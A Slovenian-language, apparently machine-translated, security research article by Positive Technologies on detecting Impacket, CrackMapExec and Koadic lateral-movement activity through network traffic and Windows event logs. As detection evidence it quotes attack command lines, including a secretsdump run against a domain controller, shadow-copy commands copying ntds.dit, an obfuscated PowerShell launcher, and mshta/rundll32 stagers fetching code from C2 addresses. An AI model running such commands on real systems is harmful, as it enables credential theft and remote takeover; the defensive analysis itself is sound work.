Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij

Število napadov v podjetniškem sektorju vsako leto narašča: npr v letu 2017 je bilo zabeleženih 13 % več edinstvenih incidentov kot v letu 2016, konec leta 2018 pa - 27 % več incidentovkot v prejšnjem obdobju. Vključno s tistimi, kjer je glavno delovno orodje operacijski sistem Windows. V letih 2017–2018 je APT Dragonfly, APT28, APT MuddyWater izvajal napade na vladne in vojaške organizacije v Evropi, Severni Ameriki in Savdski Arabiji. In za to smo uporabili tri orodja - Impaket, CrackMapExec и Koadic. Njihova izvorna koda je odprta in na voljo na GitHubu.

Omeniti velja, da se ta orodja ne uporabljajo za začetni prodor, temveč za razvoj napada znotraj infrastrukture. Napadalci jih uporabljajo v različnih fazah napada po prodoru v obrobje. To je, mimogrede, težko zaznati in pogosto le s pomočjo tehnologije prepoznavanje sledi ogroženosti v omrežnem prometu ali orodja, ki omogočajo zaznati aktivna dejanja napadalca, potem ko je prodrl v infrastrukturo. Orodja nudijo različne funkcije, od prenosa datotek do interakcije z registrom in izvajanja ukazov na oddaljenem računalniku. Izvedli smo študijo teh orodij, da bi ugotovili njihovo omrežno aktivnost.

Kaj smo morali narediti:

  • Razumeti, kako delujejo hekerska orodja. Ugotovite, kaj morajo napadalci izkoristiti in katere tehnologije lahko uporabijo.
  • Poiščite, česa orodja za informacijsko varnost ne zaznajo v prvih fazah napada. Faza izvidovanja je lahko preskočena, bodisi zato, ker je napadalec notranji napadalec ali zato, ker napadalec izkorišča luknjo v infrastrukturi, ki prej ni bila znana. Možno je obnoviti celotno verigo njegovih dejanj, od tod tudi želja po zaznavanju nadaljnjega gibanja.
  • Odstranite lažne pozitivne rezultate iz orodij za zaznavanje vdorov. Ne smemo pozabiti, da so možne pogoste napake, ko se določena dejanja zaznajo zgolj na podlagi izvida. Običajno v infrastrukturi obstaja dovolj načinov, ki se na prvi pogled ne razlikujejo od legitimnih, za pridobitev kakršnih koli informacij.

Kaj ta orodja dajejo napadalcem? Če je to Impacket, potem napadalci prejmejo veliko knjižnico modulov, ki jih je mogoče uporabiti na različnih stopnjah napada, ki sledijo po zlomu perimetra. Mnoga orodja interno uporabljajo module Impacket - na primer Metasploit. Ima dcomexec in wmiexec za oddaljeno izvajanje ukazov, secretsdump za pridobivanje računov iz pomnilnika, ki so dodani iz Impacketa. Posledično bo pravilno zaznavanje dejavnosti takšne knjižnice zagotovilo zaznavanje derivatov.

Ni naključje, da so ustvarjalci o CrackMapExec (ali preprosto CME) napisali "Powered by Impacket". Poleg tega ima CME že pripravljeno funkcionalnost za priljubljene scenarije: Mimikatz za pridobivanje gesel ali njihovih zgoščenih vrednosti, implementacijo Meterpreterja ali agenta Empire za oddaljeno izvajanje in Bloodhound na krovu.

Tretje orodje, ki smo ga izbrali, je bil Koadic. Je sveža, predstavljena je bila na mednarodni hekerski konferenci DEFCON 25 leta 2017 in jo odlikuje nestandarden pristop: deluje preko HTTP, Java Script in Microsoft Visual Basic Script (VBS). Ta pristop se imenuje življenje od zemlje: orodje uporablja nabor odvisnosti in knjižnic, vgrajenih v Windows. Ustvarjalci ga imenujejo COM Command & Control ali C3.

NABAVNI PAKET

Funkcionalnost Impacketa je zelo široka in sega od izvidovanja znotraj AD in zbiranja podatkov iz notranjih strežnikov MS SQL do tehnik za pridobivanje poverilnic: to je relejni napad SMB in pridobivanje datoteke ntds.dit, ki vsebuje zgoščene uporabniške gesla iz krmilnika domene. Impacket tudi izvaja ukaze na daljavo z uporabo štirih različnih metod: WMI, Windows Scheduler Management Service, DCOM in SMB, za to pa potrebuje poverilnice.

Secretsdump

Oglejmo si secretsdump. To je modul, ki lahko cilja tako na uporabniške stroje kot na krmilnike domene. Uporablja se lahko za pridobivanje kopij pomnilniških območij LSA, SAM, SECURITY, NTDS.dit, tako da je viden na različnih stopnjah napada. Prvi korak v delovanju modula je avtentikacija prek SMB, ki zahteva bodisi uporabniško geslo ali njegovo zgoščeno vrednost za samodejno izvedbo napada Pass the Hash. Sledi zahteva za odprtje dostopa do Service Control Manager (SCM) in pridobitev dostopa do registra prek protokola winreg, s pomočjo katerega lahko napadalec ugotovi podatke o vejah, ki jih zanimajo, in pridobi rezultate prek SMB.

Na sl. 1 vidimo, kako se pri uporabi protokola winreg dostop pridobi z uporabo registrskega ključa z LSA. Če želite to narediti, uporabite ukaz DCERPC z operacijsko kodo 15 - OpenKey.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 1. Odpiranje registrskega ključa s protokolom winreg

Nato, ko je pridobljen dostop do ključa, se vrednosti shranijo z ukazom SaveKey z opcode 20. Impacket to naredi na zelo specifičen način. Vrednosti shrani v datoteko, katere ime je niz 8 naključnih znakov, pripetih z .tmp. Poleg tega se nadaljnje nalaganje te datoteke izvede prek SMB iz imenika System32 (slika 2).

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 2. Shema za pridobitev registrskega ključa z oddaljenega računalnika

Izkazalo se je, da je takšno aktivnost v omrežju mogoče zaznati s poizvedbami do določenih vej registra z uporabo protokola winreg, določenih imen, ukazov in njihovega vrstnega reda.

Ta modul prav tako pušča sledi v dnevniku dogodkov Windows, kar olajša odkrivanje. Na primer, kot rezultat izvajanja ukaza

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

V dnevniku Windows Server 2016 bomo videli naslednje ključno zaporedje dogodkov:

1. 4624 - prijava na daljavo.
2. 5145 - preverjanje pravic dostopa do oddaljene storitve winreg.
3. 5145 - preverjanje pravic dostopa do datoteke v imeniku System32. Datoteka ima zgoraj omenjeno naključno ime.
4. 4688 - ustvarjanje procesa cmd.exe, ki zažene vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - ustvarjanje procesa z ukazom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - ustvarjanje procesa z ukazom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - ustvarjanje procesa z ukazom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Tako kot številna orodja po izkoriščanju ima tudi Impacket module za oddaljeno izvajanje ukazov. Osredotočili se bomo na smexec, ki nudi interaktivno ukazno lupino na oddaljenem računalniku. Ta modul zahteva tudi avtentikacijo prek SMB, bodisi z geslom ali zgoščeno vrednostjo gesla. Na sl. Na sliki 3 vidimo primer delovanja takšnega orodja, v tem primeru je to lokalna skrbniška konzola.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 3. Interaktivna konzola smbexec

Prvi korak smbexeca po preverjanju pristnosti je odpiranje SCM z ukazom OpenSCManagerW (15). Poizvedba je opazna: polje MachineName je DUMMY.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 4. Zahtevajte odpiranje upravitelja nadzora storitev

Nato se storitev ustvari z ukazom CreateServiceW (12). V primeru smbexec lahko vsakič vidimo isto logiko konstrukcije ukaza. Na sl. 5 zelena označuje nespremenljive ukazne parametre, rumena označuje, kaj lahko napadalec spremeni. Preprosto je videti, da je mogoče spremeniti ime izvršljive datoteke, njen imenik in izhodno datoteko, ostalo pa je veliko težje spremeniti, ne da bi pri tem motili logiko modula Impacket.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 5. Zahtevajte ustvarjanje storitve z uporabo Service Control Managerja

Smexec prav tako pušča očitne sledi v dnevniku dogodkov Windows. V dnevniku Windows Server 2016 za interaktivno ukazno lupino z ukazom ipconfig bomo videli naslednje ključno zaporedje dogodkov:

1. 4697 — namestitev storitve na računalnik žrtve:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - izdelava procesa cmd.exe z argumenti iz 1. točke.
3. 5145 - preverjanje pravic dostopa do __output datoteke v imeniku C$.
4. 4697 — namestitev storitve na žrtvin stroj.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - izdelava procesa cmd.exe z argumenti iz 4. točke.
6. 5145 - preverjanje pravic dostopa do __output datoteke v imeniku C$.

Impacket je osnova za razvoj napadalnih orodij. Podpira skoraj vse protokole v infrastrukturi Windows in ima hkrati svoje značilne lastnosti. Tukaj so posebne zahteve winreg in uporaba API-ja SCM z značilnim oblikovanjem ukazov ter oblika imena datoteke in skupna raba SMB SYSTEM32.

CRACKMAPEXEC

Orodje CME je zasnovano predvsem za avtomatizacijo tistih rutinskih dejanj, ki jih mora izvesti napadalec, da napreduje v omrežju. Omogoča vam delo v povezavi z znanim agentom Empire in Meterpreterjem. Za prikrito izvajanje ukazov jih lahko CME prikrije. Z uporabo Bloodhound (ločeno izvidniško orodje) lahko napadalec avtomatizira iskanje aktivne skrbniške seje domene.

Bloodhound

Bloodhound kot samostojno orodje omogoča napredno izvidovanje znotraj omrežja. Zbira podatke o uporabnikih, strojih, skupinah, sejah in je na voljo kot skript PowerShell ali binarna datoteka. Za zbiranje informacij se uporabljajo protokoli LDAP ali SMB. Integracijski modul CME omogoča, da se Bloodhound prenese na žrtvin stroj, zažene in prejme zbrane podatke po izvedbi, s čimer avtomatizira dejanja v sistemu in jih naredi manj opazne. Grafična lupina Bloodhound zbrane podatke predstavi v obliki grafov, ki vam omogočajo, da najdete najkrajšo pot od napadalčevega stroja do skrbnika domene.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 6. Vmesnik Bloodhound

Za delovanje na žrtvinem stroju modul ustvari nalogo z uporabo ATSVC in SMB. ATSVC je vmesnik za delo z Windows Task Schedulerjem. CME uporablja svojo funkcijo NetrJobAdd(1) za ustvarjanje nalog prek omrežja. Primer pošiljanja modula CME je prikazan na sl. 7: To je klic ukaza cmd.exe in zakrita koda v obliki argumentov v formatu XML.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
Slika 7. Ustvarjanje naloge prek CME

Ko je naloga poslana v izvedbo, žrtvin stroj sam zažene Bloodhound, kar se vidi v prometu. Za modul so značilne LDAP poizvedbe za pridobivanje standardnih skupin, seznam vseh strojev in uporabnikov v domeni ter pridobivanje informacij o aktivnih uporabniških sejah prek zahteve SRVSVC NetSessEnum.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 8. Pridobivanje seznama aktivnih sej preko SMB

Poleg tega zagon Bloodhounda na računalniku žrtve z omogočenim nadzorom spremlja dogodek z ID-jem 4688 (ustvarjanje procesa) in imenom procesa «C:WindowsSystem32cmd.exe». Kar je pri tem opazno, so argumenti ukazne vrstice:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts je zelo zanimiv z vidika funkcionalnosti in izvedbe. WMI vam omogoča uporabo jezika poizvedb WQL za pridobivanje podatkov iz različnih predmetov Windows, kar je v bistvu tisto, kar uporablja ta modul CME. Ustvari poizvedbe razredoma AntiSpywareProduct in AntiМirusProduct o orodjih za zaščito, nameščenih na računalniku žrtve. Za pridobitev potrebnih podatkov se modul poveže z imenskim prostorom rootSecurityCenter2, nato ustvari poizvedbo WQL in prejme odgovor. Na sl. Slika 9 prikazuje vsebino tovrstnih zahtev in odgovorov. V našem primeru je bil najden Windows Defender.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 9. Omrežna dejavnost modula enum_avproducts

Pogosto je lahko onemogočeno preverjanje WMI (Trace WMI-Activity), v katerih dogodkih lahko najdete koristne informacije o poizvedbah WQL. Če pa je omogočeno, se bo, če se zažene skript enum_avproducts, shranil dogodek z ID-jem 11. Vseboval bo ime uporabnika, ki je poslal zahtevo, in ime v imenskem prostoru rootSecurityCenter2.

Vsak od modulov CME je imel svoje lastne artefakte, pa naj gre za posebne poizvedbe WQL ali ustvarjanje določene vrste nalog v razporejevalniku opravil z zameglitvijo in aktivnostjo, specifično za Bloodhound, v LDAP in SMB.

KOADIC

Posebnost Koadic je uporaba tolmačev JavaScript in VBScript, vgrajenih v Windows. V tem smislu sledi trendu življenja od zemlje – to pomeni, da nima zunanjih odvisnosti in uporablja standardna orodja Windows. To je orodje za popolno poveljevanje in nadzor (CnC), saj se po okužbi na stroj namesti »vsadek«, ki omogoča nadzor nad njim. Takšen stroj se v terminologiji Koadic imenuje "zombi". Če na strani žrtve ni dovolj privilegijev za polno delovanje, jih lahko Koadic poveča z uporabo tehnik obvoda nadzora uporabniškega računa (UAC bypass).

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 10. Koadic Shell

Žrtev mora začeti komunikacijo s strežnikom Command & Control. Da bi to naredila, se mora obrniti na predhodno pripravljen URI in prejeti glavno telo Koadic z enim od stopenj. Na sl. Slika 11 prikazuje primer za mshta stager.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 11. Inicializacija seje s strežnikom CnC

Na podlagi odzivne spremenljivke WS postane jasno, da se izvajanje izvaja prek WScript.Shell, spremenljivke STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE pa vsebujejo ključne informacije o parametrih trenutne seje. To je prvi par zahteva-odgovor v povezavi HTTP s strežnikom CnC. Naknadne zahteve so neposredno povezane s funkcionalnostjo klicanih modulov (vsadkov). Vsi moduli Koadic delujejo samo z aktivno sejo s CnC.

Mimikatz

Tako kot CME deluje z Bloodhound, Koadic deluje z Mimikatz kot ločen program in ima več načinov za zagon. Spodaj je par zahteva-odgovor za prenos vsadka Mimikatz.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 12. Prenesite Mimikatz v Koadic

Vidite lahko, kako se je spremenil format URI v zahtevi. Zdaj vsebuje vrednost za spremenljivko csrf, ki je odgovorna za izbrani modul. Ne bodite pozorni na njeno ime; Vsi vemo, da se CSRF običajno razume drugače. Odgovor je bil isti glavni del Koadic, ki mu je bila dodana koda, povezana z Mimikatz. Je precej velik, zato si poglejmo ključne točke. Tukaj imamo knjižnico Mimikatz, kodirano v base64, serializiran razred .NET, ki jo bo vstavil, in argumente za zagon Mimikatza. Rezultat izvedbe se prenese po omrežju v čistem besedilu.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 13. Rezultat izvajanja Mimikatza na oddaljenem računalniku

Exec_cmd

Koadic ima tudi module, ki lahko izvajajo ukaze na daljavo. Tukaj bomo videli isto metodo generiranja URI-jev in znani spremenljivki sid in csrf. V primeru modula exec_cmd je telesu dodana koda, ki lahko izvaja ukaze lupine. Spodaj je prikazana taka koda, ki jo vsebuje odziv HTTP strežnika CnC.

Kako odkriti napade na infrastrukturo Windows: preučevanje hekerskih orodij
riž. 14. Koda vsadka exec_cmd

Za izvajanje kode je potrebna spremenljivka GAWTUUGCFI z znanim atributom WS. S svojo pomočjo vsadek pokliče lupino in obdeluje dve veji kode - shell.exec z vrnitvijo izhodnega toka podatkov in shell.run brez vrnitve.

Koadic ni tipično orodje, vendar ima svoje lastne artefakte, s katerimi ga je mogoče najti v zakonitem prometu:

  • posebno oblikovanje HTTP zahtev,
  • z uporabo API-ja winHttpRequests,
  • ustvarjanje predmeta WScript.Shell prek ActiveXObject,
  • veliko izvršljivo telo.

Začetno povezavo sproži stager, tako da je mogoče zaznati njegovo dejavnost prek dogodkov Windows. Za mshta je to dogodek 4688, ki označuje ustvarjanje procesa z atributom start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Medtem ko Koadic teče, lahko vidite drugih 4688 dogodkov z atributi, ki ga popolnoma označujejo:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Ugotovitve

Trend preživetja z zemljo postaja vse bolj priljubljen med kriminalci. Za svoje potrebe uporabljajo orodja in mehanizme, vgrajene v Windows. Opažamo, da se priljubljena orodja Koadic, CrackMapExec in Impacket, ki sledijo temu principu, vse pogosteje pojavljajo v poročilih APT. Tudi število forkov na GitHubu za ta orodja narašča, pojavljajo pa se tudi novi (zdaj jih je že okoli tisoč). Trend postaja vse bolj priljubljen zaradi svoje preprostosti: napadalci ne potrebujejo orodij tretjih oseb; že so na strojih žrtev in jim pomagajo obiti varnostne ukrepe. Osredotočeni smo na proučevanje omrežne komunikacije: vsako zgoraj opisano orodje pušča svoje sledi v omrežnem prometu; njihova podrobna študija nam je omogočila poučevanje našega izdelka Odkritje omrežnega napada PT jih odkrijejo, kar na koncu pomaga pri preiskavi celotne verige kibernetskih incidentov, ki jih vključujejo.

Avtorji:

  • Anton Tyurin, vodja oddelka za strokovne storitve, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, strokovnjak, PT Expert Security Center, Positive Technologies

Vir: www.habr.com

Dodaj komentar